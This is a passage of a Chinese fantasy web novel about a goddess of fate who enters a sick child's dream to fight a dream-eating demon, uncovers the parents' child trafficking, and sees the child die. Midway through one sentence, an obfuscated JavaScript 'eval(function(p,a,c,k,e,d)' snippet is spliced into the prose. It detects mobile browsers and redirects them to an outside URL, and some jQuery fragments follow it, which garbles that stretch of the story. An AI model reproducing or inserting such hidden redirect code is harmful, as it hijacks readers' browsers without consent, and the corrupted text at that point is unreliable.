此后，每隔几天就会有女子在这条街离奇失踪或死亡，但大家并不以为然，因为这些人失踪的地方会出现一大笔钱留在原地，但死亡的女子会被丢弃在原地。 那些钱上沾着泥土，有人猜测是将人埋进土里就可以换来钱财，而埋采村这个名字，便意为：埋没在尘土下的瑰宝，采来一生荣华富贵。】 千悦听完这则传言后，房间死一般的寂静。 苍裂枭已坐在椅子上阖上双眼不知在想什么，莫凌的目光总是落在别处，似乎根本没有在听。 千悦站在原地，瞳孔微震，双手垂在两侧紧紧攥住，咬着下唇努力让自己情绪冷静下来。 “人界的十年前啊...”苍裂枭长叹道，手指有节奏地敲打扶手，慢慢睁开眼睛，“那时《冥妖卷》还没有被破坏。” “所以，恶妖出现在这里只是一次偶然。”莫凌淡然道，随即抬手接住从窗外飘进的彩线。 千悦听到他们两个不以为然的话语，僵在原地，她想反驳，想呵斥，可自己又没有立场。 她或许明白，两只妖怎么可能会同情人族的生死。 气氛低沉，无一人说话。 千悦盯着床上沉睡在未知梦境的小蝶，想起落在床上的枯叶那句“救我啊”。 她眸光幽深，慢慢走近小蝶，坐在床边，伸出手放在小蝶的额头上。 “你要做什么？”阁主在旁边问道。 千悦没有看他，指尖聚集神力，缓缓闭上眼睛让自己意识进入梦境：“吞梦兽应该醒了，我要救人。” 话落，没有一个人起身去拦她，只是默默看着，就像是在看一场早已知晓的戏码。 阁主哼笑一声，道：“很有胆识，吾，也愿助你一臂之力。” 说罢，他从袖中取出一根银针，金光乍现凝成一张符，轻轻落在千悦后背。 “这张符能护住你的心神。”阁主道，“切记，不要让孩子强行醒来。” 千悦谨记阁主的话，脑海逐渐沉入黑暗。 这时，莫凌手中的彩线渐渐变成绿色融合在掌心，随即起身也想采取行动时，苍裂枭忽然开口：“我们没必要在这种低级恶妖身上浪费时间。” 他话音未落，伸出手，掌中的火焰变幻出另一只恶妖的形态，道：“去找更有价值的猎物，比如，血屠。” 火光开始变得暗淡，随之而来的是无尽的黑暗。 仿佛坠入谷底，湖水不断漫上来，湖面淹没身体，从膝盖到胸口，最后是头顶，逐渐令人窒息。 千悦再次睁开眼睛时，她已经站在一片灰白的虚空中，一眼望不到头。 脚下是无数面镜子碎片，每一片都映着不同的脸：有女孩在哭，有女人在跑，有人面无表情，有人精神崩溃... 前方上空，有一双幽绿的眼眸正愤怒地盯着她。 镜面破碎不断朝她攻击，千悦赶忙躲开，抬手在空中一抓，抽出长剑在身前猛地横扫击散镜面。 空间内出现断断续续的哭声，千悦循着哭声的方向走，那些破碎镜子依旧紧追不舍。 突然一块巨大的镜子挡住她的去向，那块镜子里闪过小蝶的身影，镜面出现像水一样的波纹。 她眸光一闪，直接起跳钻进镜子里，所有攻击都被格挡在外面。 空间翻转，千悦仿佛立身在两个世界的交界点，左边是黑色的空间，而右边则是白色。 她无论往哪边走这条交界线都会随身体移动。 还没明白这里是哪里时，两边同时出现小蝶的身影。 千悦碰不到她，也听不见自己说话，这两个身影就像一面不同的镜子。 小蝶蹲在庭院角落画画，母亲从旁边走过，白色的空间母亲不会看他一眼。 黑色的空间母亲则会停下脚步简单的看了一眼，然后二话不说将她拽起来带回房间。 千悦有些分不清哪个才是现实的记忆。 随后下一个场景，小蝶被父母的吵架声吵醒，她在床上缩成一团，努力用被子盖住自己。 黑白空间唯一不同是，右边的小蝶正闷声哭泣着。 千悦想起进入镜面前就是听到了哭声，她沿着这条交界线往前跑去，两边不断变化。 可无论是怎样的场景都没有任何对比，一边的小蝶就像个没有感情的傀儡，而另一边更像是忍着情绪被掌控。 黑白世界的尽头是一颗被琥珀封住的种子，或许这里就是小蝶意识的最深处。 千悦刚想伸手触碰，吞梦兽瞬间现出原形护住。 她动作一顿，呆呆地看着面前这个小黑球：“这么小的东西竟然是恶妖？” 吞梦兽朝她吼叫，恐吓。 “黑球球。”小蝶的灵魂从种子里飘了出来，将吞梦兽抱进怀里，“不要吓姐姐。” 千悦望向她渺小的身影，蹲下身与她平视：“小蝶？” 她站在自己眼前，脏兮兮的旧衣裳，枯黄的头发，低着头哄着怀里的恶妖，与现实所见的她完全不同。 小蝶慢慢抬起头，那双眼睛不再是空洞，而是冷漠，似乎不欢迎外人的越界。 “姐姐...”小蝶的声音很空荡，“你是来救我的吗？” “对。” “是救我回去，还是救我？” 千悦愣了一下，没明白她的意思。 小蝶低下头，看着自己的手被树枝划伤的痕迹，看着身上有冻疮留下的疤：“姐姐，外面是不是很黑？” 千悦沉默了一瞬。 这里也是一样小蝶温柔的抚摸吞梦兽的小脑袋，她看向四周：“但是黑球球会给我变出阳光，享受那份温暖，我如果回去了，还会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535324|203793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到吗？” “小蝶，我不能保证外面的世界会发生什么样的变化。”千悦的声音很轻。 “但我可以保证，不会再让你一个人痛苦。” 小蝶身体一震，咬着牙：“骗子...大人都是骗子，我不想回去，这里很安静，黑球球会陪我。”她别过脸不再看去。 “可它是一只妖。”千悦道，“它在利用你吃掉更多的梦，而且，妖是不可信的。” 小蝶没有回答。 “你…”千悦欲言又止，不知该怎么劝回她，语气放软，“你不是喜欢画画吗，回去之后，画一幅送给我，好不好？” 小蝶犹豫了，她紧抱着吞梦兽，沉默过后，身体慢慢放松了下来。 就在这一刻，吞梦兽像是感受到小蝶的动摇，从她怀里疯狂挣脱飞出，那双幽绿的眼眸在空中骤然放大，压迫感从四面八方涌来，空间化为灰色。 “你骗不了她！”吞梦兽咆哮着，“梦境可以给予一切，但现实只有无尽的痛苦，不要再用你生存的大道理去骗无知的孩子！” 小蝶很是无措，听到吞梦兽的话语内心似乎有纠结，眸光微转看向千悦，“姐姐，我没有办法相信你，因为你根本不知道我回去会面对什么。” 千悦面对她孤寂的身影，有些茫然，内心找不到半句合适的话语。 吞梦兽见她态度有所改变，唤起空间黑线继续食取小蝶的梦境填饱肚子。 千悦赶忙握住小蝶的手，努力让她相信自己的话：“姐姐不逼你回去了，但是我不能留你继续和恶妖呆在一起。” 小蝶垂眸看着她握着的手，没有挣脱，也没有说话。 千悦见有效，语气再次变软：“给姐姐一个机会，如果我依旧没有让你满意，姐姐尊重你的选择。” 小蝶眸光微闪，内心有些动摇。 吞梦兽见空间黑线断了，内心不爽，将她梦境全部吞没，怒道：“你的梦变苦了。” 小蝶害怕的飘回到种子里，千悦立马站起身，长剑在手，将种子护在身后：“真是麻烦的家伙。” 吞梦兽催动镜渊的物体将其攻击，千悦向前快速跑去，利用它攻击的物体跳到最高处，驱动所有神力，一剑斩下。 吞梦兽躲之不及，身体被一道金光劈成两半，瞬间消散。 剑气轰动整个空间，镜渊的穹顶在震动。 一缕阳光从细小的缝隙照进来，千悦听到破裂的声音，转过头看去。 琥珀种子在阳光的照耀下，层层外壳缓缓撑开，露出内里的小蝶，她背对着千悦，享受着温暖的阳光照耀在灵魂上。 仿佛新生从裂隙间悄然苏醒了。 意识回到她的身体，眼界微颤，那些被吞没地梦境重新回到她的脑海。 小蝶这次沉默了好久好久，她的眼角默默落下一滴泪，呼吸都变得沉重，抬起头望着那束阳光，声音哽咽：“姐姐...” “我在。”千悦走近她。 “你不会是骗子的，对吗？”小蝶声音很轻。 千悦望着她落寞单薄的背影，不知为何，那句心里的“对”无法肯定地说出口。 —————————— 与此同时，莫凌依照苍裂枭的指引来到高山树林里，他四处打量着，发现远处隐隐有火光闪烁。 那里死气沉沉的，静得可怕。 狂风卷着树木疯狂呼啸，枝丫剧烈摇晃。 一抹艳红的身影倏然掠过，在暗中拖出一道火焰燃烧大地，格外耀眼。 四下没有人声，没有嘶吼，空气中却隐隐透着无形的对峙。 毫无征兆间，藤蔓从地底破土而出，盘根错节，瞬间缠上那道红色身影的双脚，顺着小腿攀爬而上，将整个人牢牢锁住。 “你的愤怒真是令人兴奋。”茯苓突然现身，她借助藤蔓飞到对方面前，“好久不见，血屠。” 血屠在她面前怒吼着，拼命催动火焰，却无论怎么做都没办法烧断藤蔓。 茯苓嗤笑一声，将烟斗送到嘴边浅吸了一口，将烟雾吐到它脸上。 “服从命令，乖乖听话。”她瞳孔微微亮起，紧盯血屠的眼睛。 血屠拼命挣扎着，打断她的控制，茯苓料到了这种情况，催动奇怪的法力，一股黑紫色的气息缠绕到血屠身上，将它的怒火强行压下去，意识明显消散了。 “又是你。” 茯苓闻声望去，是姗姗来迟的莫凌，勾起一抹笑意：“哟，身体恢复的还蛮快的嘛。” 莫凌看向被藤蔓缠住的血屠，奔赴向前：“看来上次的教训没让你长记性。” 话语间，茯苓轻轻挥动衣袖，用藤蔓筑成墙体挡住他向前：“抱歉，今天我可不是来抢裂魂斩的，没时间和你争论。” 莫凌双手施法拿出双刀砍断面前的藤蔓冲了进去，结果被茯苓的藤蔓牢笼困住。 他无论怎么攻击，这个牢笼都不会断裂，甚至上面涌动着黑紫色法力。 茯苓不紧不慢地拿出一卷崭新的卷轴将血屠收了进去，收起卷轴后漫不经心地看了一眼他：“小妖，日后你若执意站在妖王身边，迟早会死在他手里。” 莫凌身体一僵，眼睁睁看着茯苓的身影消失在面前，被她的话弄得心烦意乱，一拳捶在面前的牢笼。 23. 姐姐，不哭 千悦的意识从梦境中脱离，回到自己身体，睁开眼睛后，身体已经变得些许疲惫。 阁主递给她一杯热茶，目光扫过还在沉睡的小蝶，淡淡道：“做得不错，不过小蝶看上去并没有想醒来的打算，况且身上还有吞梦兽残留下的气息。” 千悦接过茶杯，喝了一口缓了缓身体，脸上露出一丝笑意：“不急，我先去告知夫人状况，只要解决现实的麻烦我就会彻底解除掉这些气息。” 说罢，她便起身放下茶杯，嘴角不自觉地上扬，迫不及待地往外跑。 阁主欲言又止地看着她离开房间，视线落坐在一旁的苍裂枭身上，神色变得凝重：“妖王大人这般沉默，可是在昨夜梦里看到了什么？” 苍裂枭没有回答，反而望向桌子上《冥妖卷》，上面渐渐显现出吞梦兽的名字和记载，道：“与妖无关的事情本王怎么会记得。” 阁主摇着头笑了笑：“还真是绝情。” 苍裂枭收起《冥妖卷》，视线移到还在沉睡的小蝶身上：“命运簿如何记载本王并不知晓，但你用银针引出的命线还是看得见的。” 阁主端起桌上的茶杯，抿了一口：“那看来，您也是刚刚才知道真相。” 苍裂枭没有回答，目光落到窗外那株梨树上，白色的花瓣正一片片飘落，无声无息。 “梨花开得真美啊。”阁主感叹道。 —————————— 与此同时，千悦满怀激动地跑到院子里，找到正在晒衣物的夫人，很是兴奋地报出喜讯：“夫人，小蝶已经没事了，她马上就会醒来，只要...” 话未说完，小蝶的父亲不知从何处出现，听到这句话眼睛一亮，带着酒气脱口而出：“小蝶要醒了？！太好了！终于不愁卖不出去了！” 夫人瞪了他一眼，小蝶父亲立刻闭嘴，但嘴角的笑意怎么都压不住 千悦的笑容瞬间僵在脸上，一时没有反应过来，看向夫人：“夫人，这是何意？” 夫人没有反驳丈夫的言论，甚至连一句解释都没有，只是晒衣服转身就走，轻描淡写地说道：“少管闲事，治好小蝶少不了你们报酬。” 千悦身体怔在原地，手指微微发抖，一腔热忱尽数落空。 她想起在镜渊中小蝶的问话，还有永远放在嘴边的那句“大人都是骗子”，才明白她为何不愿回到现实，为何甘愿和一只恶妖呆在一起。 —————————— 莫凌已经从树林里回来了，刚刚路过院子听见小蝶父亲的笑声，目光扫过看见千悦的身影，没有停下脚步，也不想知道发生了什么。 毕竟没有任何事比昨夜镜中的记忆更可恨。 最终站在小蝶门外，双手抱臂，一个人静静地望着头顶灰蒙蒙的天。 他将血屠被茯苓抢走的事告知苍裂枭，最终得到一句“废物”和契约印记在胸口灼烧的一瞬。 “大人，您要我探查的事情已经有眉目了。”噬青通过意识与他交流。 “说来听听。”莫凌在脑海回应。 “这条街的失踪女子大部分都是穷家人主动卖给富商，从而换来金钱。但穷人家不满足只卖一个孩子，所以变成了明目张胆地偷，留下一笔小钱换取更大的金银财宝。 所以才会有埋没在尘土这样的传言，而小蝶因为被吞梦兽缠身，意识不清醒所以不被看好，暂时逃过一劫，但是...” 噬青话音忽然顿了顿，一声叹息后强装冷静地将真相说出。 莫凌听闻后，眸光微暗，陷入了漫长的沉默，紧绷的身体慢慢放松下来，神色透露出着无奈。 抬眸看到千悦垂着脑袋走回来，情绪很是低落的样子，直接无视他的存在进入小蝶的房间。 他长叹一口气，背靠在墙壁上，回应噬青：“苍裂枭既然不让我们插手，就让这个命运神自己做选择吧。” 人界，果真是奇妙的地方。 院中那株梨树随着微风发出哗哗的声响，素白花瓣簇簇摇曳，乘着柔风纷飞飘落，顺着敞开的窗户飘进屋内，静静地落在桌子上。 千悦伸手拾起那片花瓣，神色复杂地站在桌前，将花瓣攥在掌心握成拳，语气有些沉重：“妖伯伯，你是不是早就知道小蝶醒来会被卖的事情了？” 苍裂枭别过脸没有说话。 千悦没有得到反驳，话音一时变得激动：“所以你们看着我像个傻子一样地进入镜渊去拯救一个根本不愿意醒来的孩子？！” 她猛地一拳砸在桌上，杯子里的茶水被震得溅了出来，沿着桌面往下淌。 苍裂枭在她身后没有回答，阁主见空气如此凝重，悄声出去了，只留下他们二人。 “这不是本王要考虑的。”苍裂枭冷然道，他站起身走到她身边，“毕竟悲剧随时都会发生，改变不了顺其自然最好。” 千悦神情震惊地望向他，但话还没说出口就被他打回现实：“神使在人界无职无权，报官证明你无能，抢回证明你无理，杀人证明你冲动。” 苍裂枭抬手指向窗外，小蝶的父亲还处于醉酒状态，而她的母亲却两眼放光的招待手提金银珠宝的男人，道：“看清楚，他们不会因为你的反抗而改变长达十年的迂腐。” 千悦顺着他方向看去，心里依旧不爽：“那命运神存在的意义又是什么？！” 她盯着苍裂枭的眼睛，那双血眸里没有嘲讽，没有对人族的同情，而是一种淡然。 苍裂枭放下手，双臂环绕在胸前：“《命运簿》的记载，会让你死心。” 千悦呼吸变得不稳，犹豫许久后，转过身走向小蝶的床榻，伸手催动神力唤出《命运簿》，这里面记载着整个人界居民的命理。 挥动衣袖找到记录小蝶的那一页，命运线呈灰色，死结，神界特有的金墨清晰写着： 【彩蝶：埋采街人氏，父嗜赌好酒，母爱财，红颜薄命，未老先衰，终年二十三，春末子时，抑郁而终。】 千悦看见那几行字，瞪大了双眼，她不敢相信地把卷轴合上又打开，字没有变。 又试图用神力改写卷轴上的字，金光一闪，字迹纹丝不动。 “命运薄不可更改...”千悦声音极轻，语气带着一丝颤抖，她这时才后知后觉，为什么在镜渊的时候她无法给出绝对的承诺。 命运不认，命运神也无法兑现谎言。 “人界有人界的规矩。”苍裂枭叹了口气，“我们是最没有权利管控的。” “可是，小蝶长时间处于梦境身体早就有吞梦兽留下的气息。”千悦声音颤抖。 苍裂枭没有回头，声音很轻地说道：“所以你需要亲手解决，她的意识在梦中只剩下一炷香时间。” “本王不拦你，也不会帮你，无论做出什么选择都要自己承担后果。”他转身离开，屋内空气变得安静，只剩下她一个人。 千悦收起《命运簿》，深吸一口气坐在小蝶床边，她还在沉睡，眉头微蹙，像是在做一个不太好的梦。 她轻轻握住孩子冰凉的小手，想将自己的温暖传递给她，沉默了好久，释放神力，让意识进入她的梦中。 —————————— 院子内。 “又要等多久啊！刚才不是说我女儿已经好了吗！”小蝶父亲不耐烦地吼道。 阁主脸上依旧笑眯眯的，语气不容置疑：“二位请稍等，若是打扰了施法，小蝶的魂魄可就再也救不回来了。” 小蝶父亲不依不饶：“你怎么说话呢！我看你们就是骗子！让我进去！”说罢就要强行推开他进入房间。 阁主身上的黑猫见状眸光一闪，发出虎啸震慑，尾巴重重甩在他手上，威胁他们不准靠近。 小蝶父亲疼得瑟缩了回来，他的手背留下如鞭子抽打的印记，险些流出血。 小蝶母亲拉着丈夫的衣袖往外走，赔笑脸道：“阁主息怒，是我们莽撞了，这就回房等候。” 阁主挂着笑脸转身走到树下的石桌旁，稳稳坐下，瞄了一眼旁边的莫凌：“你看上去有事要与吾说？” 莫凌在树下席地而坐，弯着一条腿，谨慎地瞥向苍裂枭，看他正在和妖界传音没有注意到这边。 捡起身边的石头，在手里扔着玩，心不在焉的样子：“你当时在心芸阁说的话是何意。” 阁主眸光微转，淡淡道：“吾，不记得了。” 话音刚落，他变出一套茶具，低头沏茶，不紧不慢地将热水注入壶中，雾气升起模糊了他的表情：“心芸阁每日都有客官到访，说出的话怎么全部知晓。” 莫凌接住石头，抬眸看他正品尝着桌上的茶水，没有说话，随后，那只黑猫忽然跳下走到他怀里蹭了蹭。 “不过，好像有人已经在警醒你了。”阁主道。 莫凌刚想追问，怀里忽然一轻，只见黑猫不知何时跳回了桌子上，嘴里叼着他的玉佩，尾巴悠闲地晃着。 莫凌心里一惊，想起身准备抢回来时，阁主朝他摆了摆手，示意他冷静。 “吾，只是看到了有趣的东西，或许里面有关于你的一切。” 莫凌神情愣住，停下动作，站在一旁看着他操作。 阁主轻轻拿起玉佩细细打量了下，注入神力探查着，眼前泛起金光，很是刺眼，片刻他微皱眉头，念出几个字：“凤栖金阙，霜翎待舒...” 莫凌不明白。 下一秒，玉佩就将阁主的神力彻底吞没，他顿时感到愕然，冥冥之中有股更强大的力量将他强行驱赶出去。 玉佩在阁主手中拼命挣扎，猛地跳出掌控，在空中划出一道弧线飞回到莫凌手中，这才变得安静。 阁主掌心微微颤抖，随之握紧拳头，道：“这块玉佩的主人怕是和你有一段斩不尽的孽缘。” 莫凌听后，盯着手里的玉佩，轻声道：“我不记得。” 阁主见苍裂枭朝这边走来，从容地喝了口茶，语调变得平缓：“在你找到真正的自我时，会有人给你答 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“姐姐。”小蝶的声音很平静，抓住她的手，眼里还带着一丝期待望着她，“你不是说不会骗我吗？” 千悦没有回答。 小蝶盯着她看了好久好久，却一句解释的话都没等到，松开她的手垂在身侧，眼里那丝期望也顺势熄灭了。 “...做不到了吗？”她语气透露出一种过早的成熟，仰头望着从穹顶缝隙照进的光，她的眼眶里有什么东西在闪：“那我不回去了。” “毕竟在这里爹爹对我很好，娘亲很爱我，还给我织了新衣服，好开心好开心...所以我不想醒过来。”小蝶轻声道。 千悦见她委屈流泪，心头满是心疼与不忍，却连一句安慰的话都说不出口。 “除了黑球球，姐姐是第二个让我看到阳光的。”小蝶流着泪硬挤出笑脸给她看，“就像真的一样，很温暖。” 千悦伸出手，轻轻擦去她脸上的泪水，感受到她身上只有冰凉的触感，动作一顿。 虚假的阳光是无法暖化缥缈的心魂。 “如果回去让你更痛苦的话，姐姐不逼你了。” 小蝶抓住她的手：“没有人心疼的孩子，下辈子会有人要吗？” 她眼眶泛红，当即放下武器，上前一把将小蝶搂进怀里，压下哽咽：“对不起，是姐姐没用，没有办法改写你的命运。” 对不起。 对不起... 姐姐是个骗子... “我不怪姐姐。”小蝶握住她的手，露出一抹释然的笑容，“就算我醒了过来，爹地和娘亲也不会爱我的。” 千悦看着她，喉咙仿佛被东西堵住一样。 “姐姐之前说要我给你画一幅画。”小蝶重新拿起画笔，“就现在好不好？” 千悦见她的动作变得迟缓，犹豫一瞬后，声音沙哑道：“好。” 小蝶心满意足地蹲在地上，一笔一笔地画。 千悦就这样在她面前一动不动，肉眼可见小蝶的画画速度越来越慢，身体也在渐渐变淡。 吞梦兽的气息在小蝶的身上愈发强烈，力气也随之消失，画笔好几次在她手中脱落，却丝毫不抱怨，捡起来继续画。 千悦的情绪再也控制不住，眼泪顺着脸颊无声落下。 小蝶用尽所有力气画完画，放下画笔，抬起头发现她的情绪，伸手去擦她的脸：“姐姐别哭，你看我画的像不像？” 地面的画很潦草，但勉强能看出是一个女子温柔的脸。 “像。”千悦哽咽道。 小蝶心满意足地笑了笑，她身上吞梦兽的气息愈发浓烈，意识变得薄弱，她侧过身捡起地上的长剑递给千悦：“那请姐姐也如约尊重我的选择吧。” 千悦的手微微震颤，喉间发涩，握住那把长剑，缓缓站起身，可面对眼前的孩子，心中万般不忍。 小蝶闭上眼睛，静静地等待她的审判。 时间不停流逝，悲痛翻涌几乎将千悦吞没，她紧紧阖上眼眸，任凭眼泪流下，掌心催动神力，狠心一剑在身前斩下。 琥珀种子发出一声清脆的裂响，外壳层层剥落，像花瓣一样散开，变得凋零，阳光变得黯淡。 吞梦兽气息消失了，小蝶的身体在空中慢慢消散。 “小蝶！”千悦扔下武器伸手想去抱她，却扑了个空。 “骗子姐姐要记得我哦。”小蝶的身影彻底消失，声音停留在她耳边回响，“我叫...彩蝶。” 随即阳光彻底消失了，琥珀种子碎成了粉末，在黑暗中变成点点星光。 千悦依带着撕心裂肺的悲痛跪在镜渊的地面上哭泣着。 《命运薄》在她面前倏然亮起： 【彩蝶：埋采街人氏，父嗜赌好酒，母爱财，年仅六岁，不幸夭折。】 24. 梨雪葬残蝶 镜渊断裂，千悦的意识强行返回到现实，她缓缓睁开眼睛，脸上还挂着泪痕。 垂眸望向躺在床上的小蝶，脸色惨白，握着她的手也逐渐失温。 残阳西坠，金红柔光静静铺洒在孩子身上，山河暮色依旧静好，唯独留一缕孤魂沉寂在斜阳凄色里。 一室死寂，满心怆然。 忽然，小蝶的父母闯进房间，夫人看到躺在床上毫无生机的小蝶，急切问道：“我女儿怎么还没醒来？” 千悦整理好情绪，站起身面对夫妇二人，愧疚地低下头：“抱歉夫人，小蝶已在梦中辞世，无法醒来了。” 小蝶父亲愣了一下，气冲冲走上前指着千悦的鼻子，当场暴怒：“什么叫梦中辞世？你们不是说她马上就会醒吗？你们这些骗子！” 他霎时举起手就要打千悦，苍裂枭走进来看到这一幕，脸色冷然，立马用妖火阻止他的行动，将千悦护在身后。 小蝶父亲被烫的手微微发抖，手指下意识攥紧，灼热感顺着皮肉往骨子里钻，还想骂一嘴，但看到苍裂枭庞大的气势，又不敢多说话。 夫人走上前，完全不惧怕的样子，目光在千悦身上打转：“什么神医什么驱邪，都是骗钱的把戏。现在我女儿没有了，你们打算怎么赔？” 千悦心底早已乱作一团，呼吸都暗自发紧，站在苍裂枭身边刻意稳住神色。 “我已倾力相救，奈何小蝶不愿留恋尘世，我纵有通天之力也难挽执意寂灭的孩子，难道你们真的不知道她为何不愿醒来吗？” 她语气平稳地回应。 面前两位的脸上明显慌了一下，小蝶的父亲依旧不依不饶，大骂：“我们凭什么信你！有本事你让她自己出来跟老子说不想醒！我看就是你们害死了我女儿！” 夫人还不忘在旁边添油加醋：“你一个姑娘家怎么可能懂我们做父母的良苦用心！我们这么做也是为她好！不然以后怎么活！我们养她这么大不就应该回馈我们吗？！” 千悦直视夫人的眼睛，语气平静得可怕：“抱歉。我没有母亲，所以我不懂一个人怎么会选择用卖女儿来当做回报。” 话音落时，夫人气急败坏地瞥了一眼自己醉酒乱说的丈夫，脸上涨红，面对他们强词夺理：“你...你胡说八道什么！” 她抬手指向千悦，破口大骂：“你没有母亲那是你活该！” 千悦听到这句话整个人猛地一僵，被戳中痛处嘴唇微微颤抖，没有躲开夫人的视线。 “夫人这句话未免太伤人了吧。”阁主闻声而来，从门外走进来，目光落到夫人身上，语气平淡，但带着一丝不满。 夫人转过身看到阁主，勾起一抹笑讽刺道：“哟，这位大人如此护着这帮妖精，我看你也不是什么好东西，真是可怜我的女儿死在你们手里......” “喂喂，收起你们那虚伪的脸面。”莫凌靠在门框，抱着胳膊望着屋内的一切，“看着令人恶心。” “你这句话什么意思？！”夫人气得身体发抖。 “什么意思？”莫凌歪着头重复她的话，轻哼一声，话锋一转，眼神变得坚定，“您何必继续装疯卖傻，小蝶不是你们偷来的孩子吗？” “？！！！” 在场众人皆是一怔，满脸震惊地看向莫凌，一时无人言语。 “你...”夫人还想辩解，莫凌根本不给她机会，继续道：“埋采街上的人家并不多，悬赏令却有几十张，每一张字迹都出自同一人之手。” 他目光锁定一直将手藏于袖中的小蝶的父亲，道：“恰好您桌子上也有一张，没有写完的悬赏令，想必您手上还沾着墨吧。” 小蝶的父亲神色变得慌乱，眼神飘忽，浑身透着茫然无措。 “这么说来，夫人如此急迫地寄信到心芸阁，甚至不惜花大价钱让我前来给小蝶驱邪。”阁主眉峰微蹙，目光沉敛，“怕不是被你们强行偷回来的时候就已经神志不清了。” 苍裂枭一声轻笑溢出唇边，笑意凉薄，藏着内心的愠怒，冷声道：“这条街失踪的孩子，想必和你们也脱不了关系了。” “...是她。”夫妇二人明显无法辩解，他们将目光再次投向千悦，打算继续嫁祸给她。 “小蝶在梦中从没提及过她的爹娘。”千悦身姿挺拔立在原地，神情淡然，“况且，能被钱财蒙蔽双眼的你们也不配当父母！” 她早已满腔盛怒，却仍能压下戾气，字字有力地驳斥回去：“况且，就算我没有母亲也不是你可以辱骂我的理由。” 千悦语气微转，像是鼓着勇气说出的：“我生来无父无母，万般努力常化若泡影，但也绝非是任人拿捏随意践踏的蝼蚁。” 话音落定，气氛骤然凝固。 阁主肩膀上正在睡觉的猫忽然缓缓睁开眼睛看去；莫凌靠在门口的身体微微绷紧；苍裂枭血眸深处有什么东西一闪而过。 人人默默不语。 夫人还想骂，莫凌轻声打断，满满的威胁：“二位可要想清楚，再闹下去，你们离死期也不远了。” 小蝶父亲见莫凌手中闪烁寒光，苍裂枭手中的火焰跃跃欲试，还有那只会虎啸的黑猫，面前这些人都不是好惹的。 他知道形势变得不对，硬生生把反抗的话语咽回去，拉住妻子的衣袖低声道：“算了算了，给钱让他们走吧，多一事不如少一事...” 夫人忍气吞声的拿出银两给了阁主。 苍裂枭侧过头看向千悦：“先出去吧。” 她没有说话，回头最后看了一眼小蝶的身影，最后低着头离开了。 待所有人都走出房间后，阁主掂了掂手里的银两，收入袖中，笑意不变：“二位记得善后，别让孩子一个人躺太久。” 院子里的梨花还在飘落，地上铺上了薄薄一层白，像一场悄然落幕又寂然无声的葬礼。 —————————— 四人离开小蝶家后，走到树林里一块空地休息，千悦靠着树干坐下，抱着膝盖，把脸埋进臂弯里。 苍裂枭站在一旁，没有靠近，莫凌倚在远处的树上，唤出星刃在手里把玩儿着，背对着他们一语不发。 阁主悄声走了出来，黑猫的尾巴在半空中晃了晃，一层缥缈的云彩随之出现。 阁主从里面端出一杯热茶，在千悦身边蹲下，把这杯茶轻轻送进她手里：“这杯茶或许能让你心情好一些。” 千悦慢慢抬起头，看着手里温热的茶水，没有喝，声音发闷：“作为神我连一个孩子都救不了，心情再好又有什么用，心里还是会难受。” 她眼眶通红，强忍着泪水。 阁主脸上并无表情，伸手轻轻点了点茶杯边缘，雾气化作一只纯白的蝴蝶向天空飞去，最后消散在眼前。 “有时尊重一个人的选择也是一种勇敢，有人选择活着是为了感受世界变化万千，有人选择死亡却是一种释然，每个人都有选择，哪怕是一个孩子，你无需太自责。” 阁主轻轻扯出一抹笑意，徐徐站起身来，头顶落叶随风飘摇坠下，他伸手接住，目光幽邃淡然：“难受就哭吧，哭完，茶就凉了，刚好能喝。” 千悦泛红的眼眸倒映着他的身影，眼泪终于忍不住无声流下。 苍裂枭终于忍不住开口，语气淡漠：“就算孩子愿意醒过来，那对父母也根本没想过待她好，偷来的终究是为了财富。” 千悦的手猛地攥紧茶杯，喝了一口缓了缓心情，说不出话。 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不等苍裂枭和莫凌反应过来，阁主便转身快步离开，眨眼间便消失在树林里。 苍裂枭转身看向莫凌，语气严肃：“我们也走吧，耽误了两天茯苓兴许已经在驯化下一只恶妖了。” 莫凌握着手中的星刃，眼神忽地变得伶俐：“明白。” —————————— 神界 天尊坐在高台之上，从云玺镜俯瞰整个人界，最后映出埋采街的景象，见苍裂枭和莫凌的身影朝远处走去。 轻轻挥手，镜中画风一转，小蝶所谓的父母把她的遗体直接扔进了地窖，嘴里骂骂咧咧的。 而地窖中还有其他孩子的尸骨，横七竖八地躺着，双手双脚都有被捆绑的痕迹，身上还有被殴打的青痕。 天尊的眼睫颤了一下，眸光轻轻落在还在下棋的悸宛清，完全没有注意他，随后他手指在云玺镜上轻轻一敲。 埋采街上空乌云聚集在一起，暴雨倾盆而下，雨水裹挟着泥石从山上冲下来，顷刻间泥浪淹没整座村庄，大水淹没屋舍，最终万物沉寂，无人生还。 悸宛清察觉到面前棋盘的变化，手里捏着一枚白子，没有立刻看向他。 “天道的规矩不能改，您忘了吗？”她的声音很轻。 天尊收起云玺镜，起身走向殿内：“不过是鄙陋的习俗，既然将人界的掌管者交付给本尊，必然要整治这些无用之人。” 悸宛清不回答，静静落下白子后，在半空中微微抬起手。 顿时，殿内出现虚空景象，从中猛地穿出数条锁链将天尊的双手捆住。眨眼间，天尊的血液仿佛停留在体内，呼吸变得困难，身体无法动弹，话也说不出来，他的神力被一点点抽空。 窗外金凤清唳，连鸣三声，余音绕梁。 悸宛清这才放下手饶过他，四周虚空消失，她眸色微淡：“微不足道地惩罚也会降临在你身上。” 天尊扶着柱子站住身体，满头大汗，面色惨白，艰难地回过神来，对她提出质询：“异界的法术，你什么时候偷来的。” 悸宛清手指尖轻点中央的血棋，棋盘上那些纠缠的黑白子忽然围着中央散开：“我的地盘，何须用偷？” 天尊无言以对。 她一缕极细的金光从指尖渗出注入其中，眼眸里映出一丝忧郁：“神识要醒了。” 天尊嗤笑一声，讽刺道：“看来你被自己神识反噬的日子也要到了。” 悸宛清落子的手微微一顿，随即若无其事地继续下棋：“无用之情，不劳天尊操心。”